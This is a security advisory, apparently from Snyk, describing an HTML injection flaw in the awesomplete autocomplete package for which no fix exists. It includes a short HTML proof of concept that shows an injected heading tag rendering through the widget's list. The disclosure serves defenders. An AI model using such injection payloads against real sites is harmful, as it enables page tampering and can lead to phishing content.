HTML Injection Affecting awesomplete package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-AWESOMPLETE-174474
- published 23 Apr 2019
- disclosed 22 Apr 2019
- credit ArthurHoaro
How to fix?
There is no fixed version for awesomplete.
Overview
awesomplete is a lightweight, customizable, autocomplete widget for web applications.
Affected versions of this package are vulnerable to HTML Injection due to not processing text containing html tags properly. This may allow attackers to inject arbitrary HTML into a vulnerable web page.
PoC
<html>
<head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/awesomplete/1.1.4/awesomplete.css" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/awesomplete/1.1.4/awesomplete.js" async></script>
</head>
<body>
<input class="awesomplete" data-list="#mylist" data-minchars="1" />
<ul id="mylist">
<li> Seach for the following: <h1>Heading Tag Example</h1></li>
</ul>
</body>
</html>
References
CVSS Scores
version 3.1